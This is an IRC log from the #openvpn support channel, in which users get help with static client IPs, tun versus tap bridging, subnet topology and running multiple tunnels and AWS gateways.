05:11 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
05:47 -!- Sazpaimon [wat@96.227.217.235] has quit [Read error: Connection reset by peer]
05:48 -!- Sazpaimon [wat@96.227.217.235] has joined #openvpn
05:51 -!- p3rror [~mezgani@41.249.33.244] has joined #openvpn
06:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:33 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
06:34 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
06:46 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
06:48 -!- mezgani [~mezgani@41.249.121.217] has joined #openvpn
06:51 -!- ihre [~ihre@unaffiliated/ihre] has quit [Read error: Connection reset by peer]
06:51 -!- ihre [~ihre@unaffiliated/ihre] has joined #openvpn
06:51 -!- p3rror [~mezgani@41.249.33.244] has quit [Ping timeout: 260 seconds]
06:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:10 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
07:28 -!- Eugennerz [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
07:30 < MMlosh> Hello.. could anyone recommend me a good tutorial/explanation for setting up an openvpn server and client?  All I found so far was rather crappy
07:30 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
07:31 < MMlosh> and it's command to create user keys failed to create the .crt with "failed to update the database" error
07:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:37 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
07:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
07:38 -!- mode/#openvpn [+v s7r] by ChanServ
07:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
08:12 -!- funky [~funky@gprs-inet-65-41.elisa.ee] has joined #openvpn
08:19 -!- mezgani [~mezgani@41.249.121.217] has quit [Quit: Leaving]
08:20 -!- funky [~funky@gprs-inet-65-41.elisa.ee] has quit [Ping timeout: 256 seconds]
08:21 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:24 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
08:29 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 260 seconds]
08:31 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
08:49 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
08:49 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
09:03 -!- MMlosh [~MMlosh@2001:470:6f:23:e9d1:7175:3137:3709] has quit [Quit: Bye...]
09:06 -!- p3rror [~mezgani@41.249.121.217] has joined #openvpn
09:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
09:46 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
09:57 < Skapare> MMlosh: were you using easy-rsa like ./build-client ?
09:59 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
10:03 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
10:20 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 252 seconds]
10:43 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
10:49 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
10:50 -!- funky [~funky@gprs-inet-65-130.elisa.ee] has joined #openvpn
10:55 -!- funky [~funky@gprs-inet-65-130.elisa.ee] has quit [Ping timeout: 248 seconds]
10:56 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:59 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
11:00 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn []
11:07 -!- bgy [~bgy@87-98-185-83.kimsufi.com] has joined #openvpn
11:07 < bgy> i
11:07 < bgy> hi
11:08 < bgy> !welcome
11:08 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
11:08 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:11 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 260 seconds]
11:12 -!- jonascj [~jonas@emp.sdu.dk] has joined #openvpn
11:24 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
11:44 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Quit: WeeChat 0.3.8]
11:45 -!- jonascj [~jonas@emp.sdu.dk] has left #openvpn []
11:49 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 264 seconds]
12:40 < Aelius> could someone help me with pushing a static ip to a windows client?
12:44 < [ilin]> Aelius, what are you trying to do now?
12:44 < Aelius>  First uncomment out these lines:
12:44 < Aelius> client-config-dir ccd
12:44 < Aelius> route 10.8.0.2 255.255.255.252
12:44 < Aelius> I have no idea what these addresses are supposed to be
12:45 < Aelius> my network uses the default 10.8.0.50
12:45 < [ilin]> Aelius, 1st - do you use routed or bridge vpn setup?
12:45 < Aelius> tap, so bridged
12:45 < [ilin]> do you have the configs somewhere online?
12:46 < Aelius> I could put them online
12:46 < [ilin]> that would help
12:50 < Aelius> what the hell why did ideone update to be retarded
12:52 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:53 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
12:54 <@krzee> !static
12:54 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
12:54 < Aelius> [ilin]: http://mathbin.net/344763
12:54 <@krzee> !whybridge
12:54 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
12:55 < [ilin]> Aelius, krzee just gave you the answer
12:55 <@krzee> i gave 2
12:55 <@krzee> first is how to do it, second is that you probably dont need/want a bridge
12:56 < Aelius> [ilin]: no, he questioned why I am using tap, which is not the answer
12:56 < [ilin]> !static
12:56 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
12:56 < [ilin]> this is what you need
12:56 <@krzee> i did BOTH'
12:56 < Aelius> oh
12:56 < [ilin]> ifconfig-push 10.8.0.6 10.8.0.5
12:56 <@krzee> read it all :-p
12:56 < Aelius> I do need/want bridge
12:56 < [ilin]> Aelius, but also... maybe you do not need bridged setup
12:56 <@krzee> [ilin], thats not it ^
12:56 < [ilin]> ok
12:57 <@krzee> thats for tun net30
12:57 < [ilin]> krzee yes true
12:57 < rob0> Why do you need tap/bridging?
12:57 < Aelius> gaming/samba/etc generally being a lan
12:57  * krzee gets a rusty fork in case he says dhcp
12:57 < rob0> Gaming, maybe. Samba, no.
12:58 <@krzee> samba doesnt need layer2
12:58 < Aelius> dlna cuz im lazy
12:58 <@krzee> gaming may, if its a nice old 90's game
12:58 < rob0> good luck then
12:58 <@krzee> bridging is MORE work ./ effort/ overhead
12:58 < Aelius> age of empires
12:58 <@krzee> LESS lazy
12:58 <@krzee> so ya, gl
12:59 < Aelius> I mean, I looked at the faq tap vs tun and arrived at the conclusion that I needed tap from that
12:59 < Aelius> so if youre telling me the faq is inaccurate
12:59 <@krzee> im telling you 95%+ of the people who think they need bridging are wrong
12:59 < rob0> We said not such thing. We don't know your needs. We asked why you needed tap.
13:00 <@krzee> you may be one of the few, but its worthy of us asking if you want real help
13:01 < Aelius> well, coming from hamachi. I want a virtual lan. I want things that work on a lan to work over openvpn. Like windows homegroup, games, netbios/local dns, dlna, etc
13:01 <@krzee> !route
13:01 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
13:01 <@vpnHelper> the server or client
13:01 < Aelius> i have tap set up and everything works perfectly
13:01 <@krzee> thats how you route lans, you dont need tap for anything except layer2
13:02 <@krzee> cool
13:02 <@krzee> glad it all works well for ya
13:02 < Aelius> i'll research tun more I suppose; I don't know what layer2 is so i suppose its possible I dont need tap
13:02 < Aelius> however at the moment I just want static IPs
13:02 < Aelius> !static
13:02 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
13:03 <@krzee> layer2 traffic is headed for a MAC address
13:03 < rob0> Most modern games would use TCP/IP, so you should not need layer 2.
13:03 <@krzee> layer3 traffic is headed for an IP address
13:03 < rob0> (or at least I would THINK modern games do)
13:03 <@krzee> thats a non-perfect answer, but good enough for a new guy to think of it as
13:03 < [ilin]> krzee, is there a howto somewhere for filtering access between clients on a birdge mode?
13:04 <@krzee> [ilin], iptables :-p
13:04 <@krzee> used to be ebtables
13:04 < Aelius> hmm. well I'd need to learn all about routing and stuff. I imagine everything would probably work with the exception of homegroup, which is incredibly finicky
13:04 < [ilin]> krzee so client-to-client needs to be enabled and then iptables?
13:04 <@krzee> [ilin], no, c2c disables your ability to filter via iptables
13:04 < rob0> client-to-client is a tun setting
13:04 <@krzee> !c2c
13:04 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things behind
13:04 <@vpnHelper> other clients
13:05 <@krzee> oh right you asked about bridge mode
13:05 < [ilin]> yes
13:05 < [ilin]> if it is bridged more
13:05 < [ilin]> do i need client-to client mode?
13:05 <@krzee> i dont use bridge mode, cannot answer questions about bridge mode except "heres why you shouldnt do it under MOST conditions"
13:05 < [ilin]> :)
13:05 < rob0> iptables or ebtables if the server is Linux
13:05 <@krzee> if you actually need bridge mode, goodluck to ya
13:06 <@krzee> isnt ebtables old and replaced by iptables now?
13:06 < Aelius> !ccd
13:06 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
13:06 < Aelius> !iporder
13:06 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
13:07 < Aelius> !topology
13:07 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:07 < rob0> krzee, mostly iptables should be able to do all the filtering that ebtables, but ebtables still has a few things exclusive to layer 2.
13:09 <@krzee> ahh ok
13:09 < Aelius> so tun *does* ipv6 correct?
13:09 -!- JAVACODER [~JAVACODER@5.238.77.188] has joined #openvpn
13:10 <@krzee> yep, in 2.3
13:18 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
13:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:27 < Aelius> ok I'll try out tun now
13:36 < Aelius> wait...
13:36 < Aelius> krzee:
13:36 < Aelius> you are running applications over the VPN which rely on network broadcasts (such as LAN games), or
13:37 < Aelius> you would like to allow browsing of Windows file shares across the VPN without setting up a Samba or WINS server.
13:37 < Aelius> broadcasts are desirable
13:37 <@krzee> right, lan games *may* require layer2
13:38 < Aelius> but a broadcast isnt layer2 / mac based is it
13:38 <@krzee> worth checking if that applies (like we said back when this conversaton started)
13:38 -!- JAVACODER [~JAVACODER@5.238.77.188] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
13:38 < Aelius> a broadcast is just 10.8.0.255
13:38 <@krzee> no, which is why i said that wasnt a perfect description of what l2 is, but good enough for a quick blurb to someone who doesnt understand networking
13:39 <@krzee> it shouldnt replace learning or anything ;]
13:39 < Aelius> i can't really check every potential past and future game that may be stupid about not letting me enter an IP
13:39 < Aelius> but assuming thats a non issue
13:39 <@krzee> future games you're safe
13:40 <@krzee> its old to use l2 for gaming
13:40 <@krzee> rather *should be* safe
13:40 < Aelius> well in windows with tap, I can go to the 'network' and see my friend's computer and his shares
13:40 <@krzee> as for samba, it uses layer3 for everything except netbios naming, which can be done l3 with a wins server
13:41 <@krzee> naming and discovery*
13:41 < Aelius> and samba can be configured to be a wins server
13:41 <@krzee> VERY easily, yes
13:41 <@krzee> !wins
13:41 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
13:42 <@krzee> and remember, layer2 MITM attacks such as arp poisoning work over a layer2 vpn
13:44 < lupine> I am confused as to why tun mode needs a /29 for subnet, but tap mode doesn't
13:44 < lupine> I'm using tap for that reason alone at the moment
13:45 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:47 <@krzee> !/30
13:47 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
13:48 <@krzee> !topology
13:48 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:48 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
13:49 < lupine> what I have is a pair of /30s that are non-contiguous
13:49 < lupine> I did try topology various-things, it kept complaining that the server directive needs a /29 anyway
13:50 <@krzee> huh?
13:50 <@krzee> oh are you trying to use a real internet routable /30?
13:52 < lupine> of course :)
13:53 < lupine> it's working now, anyway
13:56 <@krzee> the server and client need to be in the same subnet
13:56 <@krzee> you DEFINITELY want topology subnet if you're doing that
13:57 <@krzee> to cut down on IP waste
13:57 <@krzee> you'll lose network address and broadcast address, but thats not as bad as topology net30's waste
13:58 <@krzee> also those subnets need to be routed to you, you can not already be using one of the IPs from the subnet you give to openvpn's --server command
13:58 < lupine> well, obviousl
13:58 < lupine> ...y
13:58 <@krzee> right =]
13:58 < lupine> but for some reason, in tun the subnet needs to be a /29
13:58 <@krzee> not obvious to quite everybody who comes in tho
13:58 < lupine> heh, yes
14:06 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:07 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 256 seconds]
14:28 < jzaw> hey lupine
14:28 < lupine> hiya
14:29 < jzaw> i use a /29 for my vpn and a /28 for the client
14:29 < jzaw> works lovely
14:30 < jzaw> i couldnt get topology to work for me so i just use TAPs (route)
14:32 < jzaw> ofc youll be aware you an send ipv6 down the same tunnel once it's established
14:34 < lupine> aye, just need to write the /48 allocation code first
14:36 <@krzee> jzaw, good idea
14:36 <@krzee> different client subnet, forgot bout that
14:39 -!- Devastatr [~devas@186.214.110.90] has joined #openvpn
14:41 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
14:43 < lupine> I could've given back the /30s and gotten /29s instead, but it seemed a bit wasteful
14:45 <@krzee> jzaw's idea is to use a 1918 ip for --server and assign static ips from your /30
14:45 < Aelius> krzee: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting following this and I get this error iptables v1.4.19.1: can't initialize iptables table `filter': Table does not exist (do you need to insmod?)
14:45 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
14:45 < Aelius> Perhaps iptables or your kernel needs to be upgraded
14:47 < lupine> is it?
14:48 < Aelius> hmm rebooting
14:48 -!- Aelius [~link@unaffiliated/aelius] has quit []
14:52 <@krzee> looks like he needs a module compiled
14:52 <@krzee> (standard iptables error, i seen it a few times when making my own openwrt image)
14:57 -!- Aelius [~Link@unaffiliated/aelius] has joined #openvpn
14:57 < Skapare> since I'm connecting tunnels between LANs that are already using potentially all of the RFC1918 spaces, to number the tunnels themselves, I use RFC6598 addresses (100.64.0.0/10 ... has 1048576 /30's)
14:57 < Aelius> why is "topology subnet" not in the example config
14:57 < Aelius> but is apparently required
14:59 <@krzee> not requires, just awesome
14:59 <@krzee> required*
14:59 <@krzee> theres SOOOO MANY options not in the sample config
15:00 <@krzee> the manual is gigantic
15:00 < Aelius> huh
15:00 < Aelius> what does it do?
15:00 < Skapare> which creates its own problems ... openvpn is TOO flexible
15:04 -!- novaflash is now known as novaflash_away
15:07 < Aelius> ok
15:07 < Aelius> so apparemntly
15:07 < Aelius> the server should be pingable at 10.8.0.1
15:07 < Aelius> but it isnt
15:08 -!- novaflash_away is now known as novaflash
15:11 < Aelius> krzee: this is becoming a nightmare. setting the gateway in windows doesn't make windows recognize the connection as it does with tap, which means i have to make a gaping exception in windows firewall
15:11 < Aelius> I'm connected, but i can't ping the server and I have no idea why
15:13 <@krzee> !policy
15:13 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario or (#3) dynamic OpenVPN policy github project: https://github.com/QueuingKoala/openvpn-dynamic
15:13 <@krzee> i have never used a routed subnet, but i would think jzaw's method would look a bit like that ^
15:14 <@krzee> (link #1)
15:15 < Aelius> hhh I'm in way over my head with this networking jargon. despite what the faq and others keep telling me, tap is significantly easier
15:17 < Skapare> "tap is significantly easier" ... until you hit the problems tap so often has, like broadcast floods
15:18 < Aelius> reverting to tap until I feel like tackling this again. Now all I want to know krzee is, how can I push a gateway *for the client tap adapter*?
15:18 < Skapare> common problems people have with tun is getting routes right, then iptables right if they have rules there
15:19  * lupine has quagga on top to push routes
15:19 < Aelius> see the problem I have is I have not the slightest idea of how routes or iptables work
15:19 < lupine> not really needed
15:20 < Aelius> and I have a headache now from trying to look over the sparse documentation for a specialized use
15:20 < Skapare> one confusing thing in many people need to use their new tunnel for internet traffic and many others need to not do that
15:21 < Skapare> so there's no simple answer to "how do I set up my routes for this new tunnel?"
15:22 < Skapare> Aelius: and if you could get someone that know to do it for you ... well ... you need to trust them before you hand over access to your network(s) and hosts
15:23 -!- derRicha1d is now known as derRichard
15:25 < Skapare> FYI, vpn setups are even harder when cloud instances are involved ... especially if multiple instance based gateways are being launched from the same system image
15:26 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 268 seconds]
15:27 -!- novaflash is now known as novaflash_away
15:28 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
15:29 -!- Aelius [~Link@unaffiliated/aelius] has quit []
15:30 < Skapare> and here is a question I have today ... suppose I have an openvpn server running and an openvpn client is connected to it ... the gateway running the server is going down and will late come back up with a new CA ... I can get that CA.key via an ssh connection made not in a tunnel and do re-signs on the client side ... what I want to know is a good idea for how to make the client openvpn actually know the gateway went down and exit, as opp
15:31 < lupine> there's plenty of PaaS VPN stuff for those having too many problems
15:32 < Skapare> If I can make openvpn run in foreground and exit when the remote is no longer reachable, I could make the wrapping script check with ssh to see if the server host is still up or went down
15:33 < Skapare> my idea is each time a gateway in AWS is restarted it will generate a new CA for itself ... then the trusted machines will have ssh login access and can fetch the CA and then use that to sign cert(s) and start the tunnel connections
15:35 < Skapare> but I guess just making it do that even if the gateway is not relaunch would be just as good, since it would be rare anyway ... so what if it's the same CA
15:36 -!- EugeneKay [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
15:38 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
15:45 -!- Devastatr [~devas@186.214.110.90] has quit [Changing host]
15:45 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
15:45 -!- Devastatr is now known as Devastator
15:47 < Skapare> the problem I'm working on is openvpn servers in AWS ... and not being able to keep the CA when the instance is relaunched (or where to safely keep it somewhere other than the "hard drive" volume)
15:48 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 260 seconds]
15:58 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
15:58 -!- nitram__ is now known as lmartin92
15:58 -!- lmartin92 [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Changing host]
15:58 -!- lmartin92 [~quassel@WiseOS/Builder/lmartin92] has joined #openvpn
16:00 < lupine> I have to question why you're using AWS
16:01 < Skapare> what do you suggest as an alternative?
16:01 < lupine> anything, really
16:01 < lupine> it's hard to think of a use case where amazon winds
16:01 < lupine> wins*
16:01 < Skapare> what other cloud provider would you suggest?
16:02 < lupine> I wouldn't suggest anything without knowing your use case
16:02 < lupine> maybe amazon is actually the best idea for some crazy reason
16:03 < Skapare> the big reason we use the cloud is because at times, we need a massive number of instances (machines) ... thousands anyway
16:03 < Skapare> physically buying that many machines that will sit idle 98% of the time seems not optimal
16:04 < lupine> so bursty usage
16:04 < Skapare> yes
16:04 < Skapare> and spikey
16:04 < lupine> peak bursts last... minutes? hours? weeks?
16:05 < Skapare> a day, sometimes two or three ... then 40-50 days of not
16:06 < lupine> so amazonian usage-based charging isn't insane, but you could do with more-persistent storage. a brightbox setup might work better than an amazon one
16:06 < lupine> *shrug*
16:07 < Skapare> the persistence needed is small space ... S3 storage is probably best
16:08 < Skapare> the code will be more constant and stored in an AMI, which takes longer to (re)build
16:08 < Skapare> the data would be in S3 ... and this is for the gateways
16:08 < Skapare> the application we run has several terabytes in S3 and some EBS volumes
16:09 -!- heraclitus [~halcyon@77.74.193.82] has joined #openvpn
16:09 < heraclitus> to use the auth-nocache option, does that go after the <connection> block, but before the text block?
16:09 < Skapare> we are paying AWS an average of about $14k/mo for what we do there ... buying 1000 machines would cost more
16:09 < heraclitus> what about float?
16:34 < Skapare> and another problem I'm trying to work out is how to make an openvpn client that connects to a dozen or more different servers in parallel (different IPS with pushed routes)
16:35 < jzaw> <krzee> jzaw's idea is to use a 1918 ip for --server and assign static ips from your /30
16:36 < jzaw> actually im quite wasteful :P ... i use routable for the vpn
16:37 < jzaw> makes traces from without look conventional ie theres no weird rfc1918 ips in the mix
16:37 < jzaw> so ppl cant tell its a vpn
16:38 < lupine> that's not wasteful
16:38 < Skapare> if you have plenty of IPs, fine
16:39 < jzaw> im just helping speed up the need for ipv6 :)
16:39 < Skapare> hehe
16:39 < jzaw> that and my /25 at home
16:40  * Skapare doesn't care what IPs on his tunnel, since only staff can see, ... and uses RFC6598 IPs
16:41 < Skapare> RFC6598 ... a million /30s
16:41 < jzaw> :)
16:43 < Skapare> I hope I don't need that many tunnels
16:44 < Skapare> but it looks like there will ultimately be a few dozen
16:44 < jzaw> or you could serve syrian liberal needs
16:45 < Skapare> syrian liberal?
16:45 < jzaw> liberal syrians'
16:45 < Skapare> you mean just a lot of them?
16:46 < jzaw> nah ... the revolting ones
16:46 < jzaw> </old pun>
16:46 < rob0> get syrious
16:46 < Skapare> I think maybe my big complication will be telling developers how to set up openvpn on their home/office machines
16:47 < Skapare> that will be a client that needs to connect to about a dozen servers in parallel
16:48 < Skapare> I see a way to do that in Linux ... half the developers are using Windows
16:54 -!- p3rror [~mezgani@41.249.121.217] has quit [Read error: Operation timed out]
16:55 -!- heraclitus is now known as europa
16:57 -!- europa is now known as heraclitus
16:58 -!- heraclitus [~halcyon@77.74.193.82] has quit [Changing host]
16:58 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
16:59 < Skapare> http://openvpn.net/index.php/open-source/faq/79-client/283-can-i-run-multiple-openvpn-tunnels-on-a-single-machine.html ... anyone have example config to do this?
16:59 <@vpnHelper> Title: Can I run multiple OpenVPN tunnels on a single machine? (at openvpn.net)
17:02 -!- heraclitus is now known as europa
17:04 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
17:05 -!- europa is now known as heraclitus
17:06 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 268 seconds]
17:23 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:24 -!- novaflash_away is now known as novaflash
17:41 -!- darkapp [~dark@unaffiliated/darkapp] has quit [Read error: Operation timed out]
17:53 -!- darkapp [~dark@unaffiliated/darkapp] has joined #openvpn
17:54 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
18:36 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
18:39 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
18:49 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
19:04 -!- darkapp [~dark@unaffiliated/darkapp] has quit [Ping timeout: 260 seconds]
19:21 -!- darkapp [~dark@unaffiliated/darkapp] has joined #openvpn
19:39 -!- darkapp [~dark@unaffiliated/darkapp] has quit [Ping timeout: 245 seconds]
20:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:15 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 260 seconds]
20:27 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
21:04 -!- darkapp [~dark@unaffiliated/darkapp] has joined #openvpn
21:09 -!- darkapp [~dark@unaffiliated/darkapp] has quit [Ping timeout: 260 seconds]
21:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 268 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Remote host closed the connection]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:10 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
22:19 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
22:39 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
22:58 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
23:00 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
23:33 < Skapare> is there an ONLINE man page copy?
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:36 < Skapare> this message obviously means something failed ... Authenticate/Decrypt packet error: packet HMAC authentication failed ... but it only happens when I try to run 2 tunnels
23:42 < Skapare> I think it is getting the keys mixed up
23:43 < Skapare> yet both configs work fine when used for one tunnel
23:44 < mist__> two tunnels between the same hosts?
23:50 < Skapare> no
